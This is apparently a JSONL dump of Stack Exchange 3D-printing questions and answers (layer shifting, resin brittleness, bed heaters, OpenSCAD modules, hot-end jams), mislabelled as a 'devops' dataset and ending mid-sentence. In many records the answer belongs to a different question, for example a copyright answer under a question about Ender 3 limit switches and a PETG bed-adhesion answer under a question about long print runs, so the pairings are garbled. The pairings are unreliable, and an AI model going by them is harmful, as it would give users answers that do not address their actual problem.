{"id": "hf_542c715e89c0", "question": "<p>My 3D prints shift along the Y-axis on my Ender 3 3D printer. I don't know what to do. My Y-axis belt is tight, So I don't think that is the problem...</p>\n<p><a href=\"https://i.stack.imgur.com/zVtPS.png\" rel=\"nofollow noreferrer\" title=\"Y-axis layer shifting\"><img src=\"https://i.stack.imgur.com/zVtPS.png\" alt=\"Y-axis layer shifting\" title=\"Y-axis layer shifting\" /></a></p>\n", "question_body": "", "answer": "8 mm rods and 6 mm GT2 belts are generally accepted as a good tradeoff between price and performance, an exact calculation is possible but might not be very relevant if another part is flexing. Also, generally speaking, the smaller the part the sooner it will wear out of specification. Thus your service interval might be higher compared to an over-engineered printer.\nIn short, it depends on what your goal is, if you desire low maintenance and accurate machine, you might be better off with heavier gauge parts. Obviously, this will also affect the speed of printing.\nA 6 mm GT2 belt might have a higher stretch factor compared to a 10 mm belt, but can be mitigated by adjusting the acceleration. In addition, a 10 mm belt has a larger pulley reducing the number of steps per mm, lowering precision. As such you might be better of using two 6 mm belts.\nIncreased rod size for the print bed will not affect printing speed much but might help with accuracy since the bending modulus is lower. Play around with the calculators below to get an idea of the force your beam will have to withstand. That said, there are a lot of other factors that will flex under load, for example, the bed leveling springs. You can replace them with solid spacers, but that might warp the bed when it heats up.\nhttps://www.engineering.com/calculators/beams.htm\nhttps://www.omnicalculator.com/physics/acceleration\nTo conclude, I would use the calculators to figure out if the 8 mm rods are within tolerance for the intended speeds and load, but don't forget to look at the overall picture. The quality of parts you choose is one such thing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.085954"}
{"id": "hf_f5ca5f59411e", "question": "<p>I am trying to print something that might take 15 hours. I don't want to risk my printer so if I print for 15 hours, what is the worst that can happen? So far, I haven't printed anything for more than 5 hours.</p>\n", "question_body": "", "answer": "Correctly level your bed. Seriously, that's the answer. PETG does stick well, but it only gets difficult to remove if you're smashing the first layer against the bed with a nozzle that's way too close. With the bed leveled properly - using feeler gauges or test prints and a sub-0.1-mm-precision caliper - I have no trouble taking PETG prints off a buildtak-clone bed. Glass should be easier.\nIf you already have PETG stuck to a build surface you care about and don't want to risk destroying it, try heat, or alternating heat and cold.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.158671"}
{"id": "hf_b5e3b9790f16", "question": "<p>There are lot of advices on the web how to paint the 3D printed objects, but generally they are advices for manual painting and this required special skills, especially if the object is small. My guess is that maybe 3D printer can lay the color layers as well? I am especially interested in the layering of enamel paints (which can be transparent and which can required high temperature heating afterwards). Medieval art has fine examples how detailed enamel art was created on the metal. Maybe something like this can be achieved with 3D printers as well?</p>\n<p>If 3D priner with the paint-printing capability is not available generally then what are the prospects when such printer can be available? Maybe there are some early, experimental efforts to create such printer and maybe test devices are available?</p>\n", "question_body": "", "answer": "Painting Prints\nYes, you can paint your models with\nenamel paints\n. Actually, most paints will work. You might need to roughen the surface with sandpaper a tiny bit. Note that some spray paints might contain solvents that might soften or melt the prints, so read your ingredients!\n...not with vitreous enamel\nHowever, you can't use\nproper enamel\n, as that needs to be sintered after the paints have dried, and that will destroy your print unless you have used a metal-printer.\nPrinting Color\nNow, if you want a printer to print a paste of vitreous enamel, you are looking for a\npaste printer\n. However, the paint for such a device needs to be very viscous, and the print quality (due to the large nozzle) will be far below what a skilled artisan can achieve. Also, you'd need one paste extruder per color.\nFoils?\nOne could possibly work with foils, cutting them on a plotter and then carefully transferring them to the printed object. This would allow much finer details than a paste printer currently is able to create. Such a foil can also be printed upon by special printers - possibly achieving the full spectrum in a single application step.\nAlternatively, one would use a \"puzzle\" of smaller pieces and apply each piece separately. The result might actually be somewhat similar to the\nChromolith\n(Colored Stone) stonewares that had been created by Villeroy & Boch starting 1876.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.197595"}
{"id": "hf_d5b570f689d1", "question": "<p>I have observed some occasional delamination in horizontal layers of my resin prints — see two examples:</p>\n<p><a href=\"https://i.stack.imgur.com/DxGPD.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/DxGPD.png\" alt=\"downward\" /></a>\n<a href=\"https://i.stack.imgur.com/BZEoF.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/BZEoF.png\" alt=\"upward\" /></a></p>\n<p>What is the cause, and how can this be minimized?</p>\n", "question_body": "", "answer": "With the information provided my thought is that your layers are underexposed for their thickness. Each layer is just barely bonding to the layer above it. After being pulled on by layers below eventually one of the layers fails. This is especially likely to happen on a thin part of the print any may need more support if it is followed by wider layers. But I would suggest trying to increase your exposure time first.\noption two: it could be your FEP if that has seen too much use it may be time to replace it.\ncalibrating a resin 3D printer", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.221631"}
{"id": "hf_ce217c351f98", "question": "<p>I do not have a clear understanding of what causes resin prints to become brittle. Firstly, it appears excessive cold (in the 40s or even 30s, I am in New England) may be a factor. What else can cause brittleness in resin prints? Is there a difference between resin types?</p>\n", "question_body": "", "answer": "With the information provided my thought is that your layers are underexposed for their thickness. Each layer is just barely bonding to the layer above it. After being pulled on by layers below eventually one of the layers fails. This is especially likely to happen on a thin part of the print any may need more support if it is followed by wider layers. But I would suggest trying to increase your exposure time first.\noption two: it could be your FEP if that has seen too much use it may be time to replace it.\ncalibrating a resin 3D printer", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.245269"}
{"id": "hf_23ea27c1b01c", "question": "<p>Given a .SCAD file which contains some modules, how can I execute one of those modules from the command line?</p>\n<p><strong>example.scad</strong></p>\n<pre><code>module One() { ... }\nmodule Two() { ... }\n</code></pre>\n<p><strong>render.sh</strong></p>\n<pre><code>openscad -q -o one.stl --module One example.scad\n</code></pre>\n<p>Note that there is no <code>--module</code> option, but that is what I'm attempting to do. The workaround would be to make another .SCAD file e.g. <code>one.scad</code> which includes <code>example.scad</code>, and simply calls <code>One();</code> within and render that file from the shell file. But this is not ideal.</p>\n", "question_body": "", "answer": "OpenSCAD doesn't have such an option on the command line, but the general idiom I believe you want to use is have\n```\n.scad\n```\nsource files which are modules include invocations of the module(s) at the top-level controllable by variables you can set on the command line or GUI customizer interface. Any such invocations will be ignored if the file is used (via\n```\nuse\n```\ndirective) in another file so they don't hurt its status as a library and make it easier to preview/test. So for example you could have:\n```\n```\nwantOne = false;\nif (wantOne) One();\n```\n```\nand then set\n```\nwantOne\n```\nto\n```\ntrue\n```\nfrom the command line.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.318389"}
{"id": "hf_a087aec9b278", "question": "<p>For the purpose of cleaning, I need an aggressive solvent for cured or partially cured resin that will degrade resin down to its liquid state. I'm looking for one that would eat out specifically resin (I'm using regular Anycubic green resin) in a rapid fashion but would leave painted / metallic parts and screen of my 3D printer without damage.</p>\n", "question_body": "", "answer": "Wear Gloves.\nReturning is impossible\nResin does not just\nharden\n,\nit\npolymerizes\ninto shape from monomers in a chemical reaction.\nThat means to break it down, you need to destroy the whole chemistry. There is no solvent that can simply reverse it.\nWiping is easy\nAs long as the rein is still liquid, you can wipe it off. Then clean the parts with Isopropylic alcohol.\nManual work\nDestroying Resin-Polymers is incredibly hard for most solvents. The most simple solution is usually oddly enough to use physical force. Resins are super brittle and chip off, but might damage the paint coat in the worst case.\nThermal shock\nIf you can, you might put your printer in a cold environment and see the resin gaining cracks, as it shrinks slower and less than the metal. Then, putting it back into the heat adds more.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.366236"}
{"id": "hf_b0d62d9a18ab", "question": "<p>I am making a bed for my 3D printer. I have bought a silicon heater (31x31 cm) and I want to glue it to my custom aluminum bed. The tape that it had from factory was bad, so I removed it. I want to glue it to the aluminum and I don't know what type of adhesive to use, I was thinking gasket glue with silicon, but I think that it will have bad thermal conductivity. I found <a href=\"https://www.annapol.eu/product_info.php?products_id=137997&amp;language=en\" rel=\"nofollow noreferrer\">this product, a silicon based,  heat transferring paste</a>, but I think that it will not stick good. What is a good adhesive for this purpose?</p>\n", "question_body": "", "answer": "Heat Transfer PAste will not work as a gluing agent. What you need is a high-temperature glue that bonds Aluminium and a silicone rubber. The benchmark temperature that the glue needs to withstand is about 100 °C or approximately 200 °F.\nMcMaster-Carr\nallowed me to search for glue-properties and suggests among others contact adhesives, which are cans or tubes with a very viscous glue. You let that pre-cure on the items and then push the two together, resulting in very strong bonds. One of the items they suggest is\n3M 2262\nfor which McMaster-Carr lists 230 °F as the max temperature, so just in the\nsafe\nrange. However, a 32 oz. can for almost 100 $ is surely overkill, the\n3M manufacturer catalog\nlists only 1 qt and 5 gal as the available packaging sizes, so, unless you build printers for a living or know someone who uses this industrially, this is not an option.\nThe same catalog also lists the\n\"3M™ 200MP& 300LSE\"\nseries with temperatures of 148 °C (300 °F) to 204 °C (400 °F). That is enough to print anything on. And it's the same glue that' used on my Build-Tak replacement surfaces to stick them to the Aluminium bed, so it could be suitable for gluing the heater to the bed on the other side too. However, I wish you good luck to find a reseller that sells you a fitting amount. Industrial packaging is available, but you'll need to find a reseller that offers a somewhat fitting size for you - I have seen Amazon listings for both types in sizes that have only small waste for most common heaters.\nI am not affiliated with 3M or McMaster-Carr, but I have very good experience with 300LSE.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.391117"}
{"id": "hf_1f0c4e8afa9d", "question": "<p>Normally, I'm all fine with my printer and filament. But today I changed the filament for another brand and no matter what, it sticks to the nozzle so nothing comes to the bed and soon my nozzle is full of PLA... I use a sheet of paper for printer to level the bed at 0.1 mm. While leveling, I get the nozzle close enough to feel a bit of resistance from the paper while moving that sheet. Please help me...</p>\n", "question_body": "", "answer": "I believe the problem is not so much that the filament is sticking to the nozzle; it's that the filament is not sticking to the bed.\nYou've confirmed that you have correct clearance for the nozzle to bed distance. The next considerations are bed temperature and nozzle temperature. New brands often require new parameters.\nConsider to raise the bed temperature 5 °C. If you're not using any adhesive medium, perhaps a bit of glue stick will help to have the filament stick better/properly.\nIt's unlikely that the nozzle temperature is incorrect, as too low would result in a nozzle clog, while too high would \"drizzle out\" and be everywhere, but don't reject too-high entirely.\nIf you can get the bed adhesion correct, your nozzle should remain clear.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.415877"}
{"id": "hf_d1c4e3f93f94", "question": "<p>I was looking at purchasing the Creality CR-X or another similar dual extruder (note, NOT dual nozzle) printer. I know it was designed to print two colors of the same filament, but is it able to print two different filaments?</p>\n<p>I would be printing HIPS with ABS or PVA with PLA, so the two filaments would have very similar characteristics. It's ok if the printer doesn't know there's two different filaments, I can make it work by playing with the slicing settings.</p>\n", "question_body": "", "answer": "I believe the problem is not so much that the filament is sticking to the nozzle; it's that the filament is not sticking to the bed.\nYou've confirmed that you have correct clearance for the nozzle to bed distance. The next considerations are bed temperature and nozzle temperature. New brands often require new parameters.\nConsider to raise the bed temperature 5 °C. If you're not using any adhesive medium, perhaps a bit of glue stick will help to have the filament stick better/properly.\nIt's unlikely that the nozzle temperature is incorrect, as too low would result in a nozzle clog, while too high would \"drizzle out\" and be everywhere, but don't reject too-high entirely.\nIf you can get the bed adhesion correct, your nozzle should remain clear.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.439391"}
{"id": "hf_2c880edb17fc", "question": "<p>The art in question is <a href=\"https://www.instagram.com/p/CIfsO2ZD7Rj/\" rel=\"nofollow noreferrer\">https://www.instagram.com/p/CIfsO2ZD7Rj/</a> . I Think the concept artist, Jean Giraud, is dead.</p>\n", "question_body": "", "answer": "While better fitted to our friends at\nlaw.SE\n, the general gist is:\nNo.\nArt is protected by copyright, and any adaption (\nderivative work\n) requires the OK from the right holders\nper se\n. Only 70-75 years after the death of the author (or publication for company works), a work enters the\npublic domain\nand the copyright expires.\nThere are some exceptions (\nfair use/fair dealing/\n...), but\nmedia transformation\nis not one of them.\nGiraud died in 2012, his estate or heirs - or whoever he/they sold the commercial rights to - own the right to ok derivative Works till around 2087.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.475228"}
{"id": "hf_d45ceebf60ce", "question": "<p>Why does the Ender 3 only have 3 limit switches instead of 6?</p>\n<p>How does it handle crashes on other sides?\nIs it worth adding them with a new mainboard?</p>\n", "question_body": "", "answer": "While better fitted to our friends at\nlaw.SE\n, the general gist is:\nNo.\nArt is protected by copyright, and any adaption (\nderivative work\n) requires the OK from the right holders\nper se\n. Only 70-75 years after the death of the author (or publication for company works), a work enters the\npublic domain\nand the copyright expires.\nThere are some exceptions (\nfair use/fair dealing/\n...), but\nmedia transformation\nis not one of them.\nGiraud died in 2012, his estate or heirs - or whoever he/they sold the commercial rights to - own the right to ok derivative Works till around 2087.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.499323"}
{"id": "hf_1a6326e97434", "question": "<p>I'm trying to print <a href=\"https://www.thingiverse.com/thing:4461654\" rel=\"nofollow noreferrer\">a gear for a robovac deal</a>.</p>\n<p>The issue I'm having is with gaps between the walls of the top part of the gear. It needs to have the corners filled to provide stability or else the tabs easily snap. I've tried adjusting the nozzle size, line width, filter gaps and print thin walls but seems to slice with variations on the same issue. Is this a Cura issue? Is there anyway to slice and print this to fill those gaps?</p>\n<p><a href=\"https://i.stack.imgur.com/0g7zy.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/0g7zy.png\" alt=\"gear with gaps between walls\" /></a></p>\n", "question_body": "", "answer": "The problem isn't Cura, rather its the precision of the 3D model. If parts of the model is smaller than the line width the model cannot be printed. A solution to this would be to increase the thickness of the cylinder, decrease the size of the square or reduce the line width to allow that region to be properly fabricated, another solution would be to decrease the line width (line width option) however, keep in mind that you should not reduce the line width beyond the nozzle hole size (nozzle hole > line width). As mentioned before, if the model requires sections that are smaller than the line width, Cura will ignore it. From the image you provided it would seem that the corners are extremely close to the wall of the cylinder which prevents Cura from making a extrusion path, the reason of which I explained above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.601197"}
{"id": "hf_de074926d850", "question": "<p>While printing a <a href=\"https://www.thingiverse.com/thing:3932302\" rel=\"nofollow noreferrer\">paint rack from thingiverse</a> I keep getting jams. Other prints (shorter) work fine. Can anyone give me a clue?</p>\n<p>Here's a <a href=\"https://photos.app.goo.gl/PQuJwqNdYWSMTiwm6\" rel=\"nofollow noreferrer\">video of the printer</a></p>\n<p>I thought it was heat creep so I increased the speed and decreased the hot end temperature. It generally prints for several hours then jams.</p>\n", "question_body": "", "answer": "When I started printing ABS with my Prusa i3 MK3 MMU2+ printer, I started experiencing jams on some longer prints, which was heat creap, possibly combined with old filament.\nI improved the cooling by filling the gap between the sides of the heat sink and the plastic extruder body. I think I stuffed it with some soft foam rubber, but anything that can handle the (what should be fairly cool) temperature should work.\nMy hypothesis is that with gap allowed too much of the air to pass without engaging the heat sink, compromising the cooling.\nWith that change, I haven't had heat-creap jams.\nYou aren't printing ABS, but the temperature is high, and PLA softens as a low temperature. IMO, it would still be worth making the change.\nIt is the gap on the front and rear sides that I blocked.  The heatsink fins are fully open for air flow.\nSome people here have changed out the Noctua fan for one that is noisier and pushes more air, which should also work. I appreciate the quiet fan, so I tried to get more work out of the fan I had.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.637206"}
{"id": "hf_ca66f40752a2", "question": "<p>High temperature PTFE tape is rated up to 550°F, which is 288°C.  I'm wondering if it would be useful for components on the hot end to prevent oozing.  Has anyone tried it?</p>\n", "question_body": "", "answer": "You'll need a custom firmware.\nYur custom firmware will have to react to the \"Change extruder\" command differently than a normal firmware: instead of just swapping to a different extruder, you'll need to perform some operations to alter the gearing (possibly a solenoid?), and possibly include some kind of \"break\" to make sure that the filament is not slipping back without the extruder attached. However, there already is a setup that pretty much does this: the Prusa MMU2 uses something similar. The MMU does use a Bowden setup, but you could use Bowden and direct drive in combination, especially if both motors run in sync.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.685456"}
{"id": "hf_e5de88a6ea1d", "question": "<p>I assume SLA printing only works on Earth and upright.</p>\n<p>But would fused-filament printer (e.g. Prusa Mk3) work in zero gravity? What about upside down or sideways? If not, could it be modified to work in other orientations? Have there been any demonstrations of it?</p>\n", "question_body": "", "answer": "Yes!\n3D Printing upside would only potentially have an issue with the first layer if you're using an extremely large gap on the first layer, however in normal circumstances there's enough pressure that the filament is squished into the bed, if you've got one yourself you can put it on it's side, the question when it comes to 3D Printing\nisn't\nupside down, but not the correct way, as it's presuming that gravity pushing down is the important thing, while in every other orientation it also works.\nIn theory SLA printing would work just fine, as long as you're able to seal the build plate and vat together so no resin leaks out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.757295"}
{"id": "hf_20c6f52454f8", "question": "<p>I have a Monoprice Maker Select Plus (Wanhao Duplicator i3 clone) and I'm having issued with the top layer of my prints. The bottom surface and the sides always come out perfect but my top layer is left with gaps in it. I have tried adjusting the print temperature, flow rate, print speed and layer height all with no success. I use Cura for my slicing software. If anyone knows how to help it'd be much appreciated</p>\n<p><a href=\"https://i.stack.imgur.com/MZFpf.jpg\" rel=\"nofollow noreferrer\" title=\"Closeup of failed print\"><img src=\"https://i.stack.imgur.com/MZFpf.jpg\" alt=\"Closeup of failed print\" title=\"Closeup of failed print\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/45rzs.jpg\" rel=\"nofollow noreferrer\" title=\"Failed print\"><img src=\"https://i.stack.imgur.com/45rzs.jpg\" alt=\"Failed print\" title=\"Failed print\" /></a></p>\n", "question_body": "", "answer": "This is probably caused by too few top layers in combination with a too low infill percentage. Increase skin layers and increase infill percentage.\nIf you have multiple layers already (at least about 4 for 0.2 mm layer height, for smaller layer heights even more), you might be printing at a too high temperature and or too few part cooling percentage and a too low infill percentage.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.781453"}
{"id": "hf_e84a9b9a99e6", "question": "<p>I just got a new Ender3 version two for Christmas and was very excited to use it so I put it together and used the sample filament that came with the printer and everything worked okay for a bit.</p>\n<p>That was until I switched something in the settings, or in Cura, or something happened, because the nozzle is too far away from the bed when printing. I will use the auto home feature to level my bed with a piece of paper and once I get that pretty close I try and start my print, and it starts a few millimetres further away from the bed than when levelling it.</p>\n<p>Any ideas to solve this?</p>\n", "question_body": "", "answer": "This is probably caused by too few top layers in combination with a too low infill percentage. Increase skin layers and increase infill percentage.\nIf you have multiple layers already (at least about 4 for 0.2 mm layer height, for smaller layer heights even more), you might be printing at a too high temperature and or too few part cooling percentage and a too low infill percentage.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.805578"}
{"id": "hf_41c4508e78bf", "question": "<p>I am building a toolchanger CoreXY 3D printer. I am in big trouble to find mic-6 aluminium toolplate in my country. Can you suggest me an alternative to mic-6? In my country, I can find easily 5083, 6082, 7005, etc. I don't think, that theese aluminium plates are suitable as heated bed. The design of the bed is the same as the <a href=\"https://jubilee3d.com/index.php?title=Main_Page\" rel=\"nofollow noreferrer\">jubilee 3D printer</a>, so it will be best to have minimum warpage.</p>\n", "question_body": "", "answer": "This is probably caused by too few top layers in combination with a too low infill percentage. Increase skin layers and increase infill percentage.\nIf you have multiple layers already (at least about 4 for 0.2 mm layer height, for smaller layer heights even more), you might be printing at a too high temperature and or too few part cooling percentage and a too low infill percentage.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.829684"}
{"id": "hf_9f06bf2ad217", "question": "<p>I keep having a recurring problem with my ender 3 pro.  The bowden tube keeps popping off here (pictured)</p>\n<p><a href=\"https://i.stack.imgur.com/hWvUQ.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hWvUQ.jpg\" alt=\"enter image description here\" /></a></p>\n<p>I've read elsewhere online where people are having a similar problem, i.e. the ptfe tube is actually popping out, but I don't know if thats the case here.  It's staying attached to the metal coupler, but that metal coupler is unscrewing during the course of the print and falling out.  Any tips to fix it?  New one? Some sort of loc-tite to get it to not unscrew?  Any ideas?</p>\n", "question_body": "", "answer": "If the fitting is remaining attached to the PTFE tubing, that would indicate that the threaded end of the fitting is pulling out of the drive assembly. This implies that the internal threads of the drive assembly have stripped out. This is not unusual for a plastic drive assembly.\nThe best solution is to replace the drive assembly. I believe I paid about US$12 for the last one I purchased and it was aluminum, not plastic. A quick search for \"Ender 3 drive mechanism\" returned a number of choices. One of them from\nAmazon\n(14.98) is anodized aluminum and purports to be improved over the original.\nA less than ideal solution would involve drilling out the stripped threads and installing an insert (sometimes called a Heli-coil™) but that could be as expensive as a replacement mechanism.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.877553"}
{"id": "hf_b02ce44b642a", "question": "<p>The image below I indicated where the point where the tip of my extruder returns after changing the layer height, I don't know if I am right to call this point &quot;Start Point&quot; ...</p>\n<p><a href=\"https://i.stack.imgur.com/mZmgC.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mZmgC.jpg\" alt=\"enter image description here\" /></a></p>\n<p>The problem I am having is possible to see in the photo, because there is a slip of material and sometimes &quot;webs&quot; are created that compromise the quality of the print.</p>\n<p>I tried to modify the retraction parameters, such as: speed and retraction length ...</p>\n<p>Is there a parameter that I can modify to improve my print?</p>\n<p>The slicer software I use is the : FlashPrint_4.5.1 (because I have a FlashForge Dreamer NX)</p>\n", "question_body": "", "answer": "Photo interpretation: I understand that the image on the right presents the actual error: it happens on many layers, following the red \"Starting Point\" line (so above it on the photo). Interesting issue. Btw. which side of the print is the bottom (zero layer)? - I believe the left side, and the right side is the top of the print.\nThe problem seems to apeear only in the middle of print. Top and bottom layers are usually printed slower, this could be some hint to find the reason. Also, I guess that the vertical cross section is not just a rectangle, but is wider on the top part? - then print parameters (e.g. speed) may change because of overhangs.\nCould you share what type of filament do you print with? For example flexible materials will specifically react to the pressure and should not be forcefully retracted and pushed.\nWhat type\nIs there any exccessive material anywhere on the table? Like oozing or stringing? Do you see any material lost before printing the first layer? If not, the retraction is good enough or even too heavy - then try to minimize it: you may go down until you see any oozing, and then check the wall.\nCould you share what range of parameters you have tried- especially the speed and retraction values? Jerk and accelleration? Do you use coasting or other pressure affecting techniques?\nWhat is the hotend diameter? - the specs says 0.4 mm and the direct extruder. And (in comparision) what is the wall's line width for extrusion? What is the real width of this wall? (Is it properly sliced and reflected in G-Code? I advice to use G-Code viewer and inspect the details in given area.) What is the infill %, and how many wall lines do you have configured? And the layer height?\nI hope this is of some help for diagnosis.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.902806"}
{"id": "hf_af2301bbf756", "question": "<p>I was able to connect my terminal program (Putty) to my 3D Printer (Creality Ender 3 Pro) and was able to send G-code commands to my printer and it obeys.</p>\n<p>Now suppose I sent long command like</p>\n<pre><code>G29 ; auto bed leveling\n</code></pre>\n<p>and it is still executing. Printer writes me</p>\n<pre><code>echo:busy: processing\n</code></pre>\n<p>How to interrupt it?</p>\n<p>I tried to send <code>M0</code>, but it didn't work.</p>\n", "question_body": "", "answer": "Photo interpretation: I understand that the image on the right presents the actual error: it happens on many layers, following the red \"Starting Point\" line (so above it on the photo). Interesting issue. Btw. which side of the print is the bottom (zero layer)? - I believe the left side, and the right side is the top of the print.\nThe problem seems to apeear only in the middle of print. Top and bottom layers are usually printed slower, this could be some hint to find the reason. Also, I guess that the vertical cross section is not just a rectangle, but is wider on the top part? - then print parameters (e.g. speed) may change because of overhangs.\nCould you share what type of filament do you print with? For example flexible materials will specifically react to the pressure and should not be forcefully retracted and pushed.\nWhat type\nIs there any exccessive material anywhere on the table? Like oozing or stringing? Do you see any material lost before printing the first layer? If not, the retraction is good enough or even too heavy - then try to minimize it: you may go down until you see any oozing, and then check the wall.\nCould you share what range of parameters you have tried- especially the speed and retraction values? Jerk and accelleration? Do you use coasting or other pressure affecting techniques?\nWhat is the hotend diameter? - the specs says 0.4 mm and the direct extruder. And (in comparision) what is the wall's line width for extrusion? What is the real width of this wall? (Is it properly sliced and reflected in G-Code? I advice to use G-Code viewer and inspect the details in given area.) What is the infill %, and how many wall lines do you have configured? And the layer height?\nI hope this is of some help for diagnosis.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.927749"}
{"id": "hf_7a1b69bb42ea", "question": "<p>From my understanding, the power of heater must higher than heat dissipate to ambient air so the bed can heat up. The reason why a bed heats up too slowly is due to its heat capacity compared to heater power.</p>\n<p>As the heater is a resistive load, I think we can put higher voltage to get more heating power.</p>\n<p>The PCB heater has two parts: copper and laminate. The reason of failure is that the copper can come off the board due to high temperatures. In this case we can control temperature with firmware. The questions are:</p>\n<ol>\n<li>Will this method work?</li>\n<li>What can go wrong or what is the risk of this method?</li>\n</ol>\n", "question_body": "", "answer": "Not necessarily\nPotential differential U\n, aka\nVoltage\nof a part, is not to be ignored: a 24 V part needs only 24 V, not 36 V. A 12 V heartbeat is only safe for 12 V. There is a little tolerance for those measurements, but rule of thumb is about 10-15% of the rated voltage, so a 12 V bed should not be operated at more than 13.8 V for an extended period.\nWhat actually facilitates heating is the\nCurrent I\naka\nAmperage\ngoing through an item, as the formula for the Work P\nh\n(dissipated in the shape of heat) of the electric resistance R is\n$P_h=R I^2$\n.\nAs long as you stay below or at the maximum\nrated Power P\nr\nor\nWattage\nof the heating pad\n$P_r=U I$\n, you can increase the Current up to the limit of\n$\\frac {P_r} U=I$\n. On the bench, with a regulated power supply, we can use that to get a perfect, maximum output as we want it. But the printer isn't a bench with an expensive PSU, we get only something akin to 12 V out of it, so... what to do?\nDON'T route in extra Power!\nYea, in DC circuits we can just add batteries behind one another to get twice the Voltage and push a circuit. Or we can put them in parallel, to sum up the current. But that doesn't work just as straightforward in AC circuits (phase shift between parts has to be taken into account). And routing in an extra pair of wires providing 12 V into an already 12 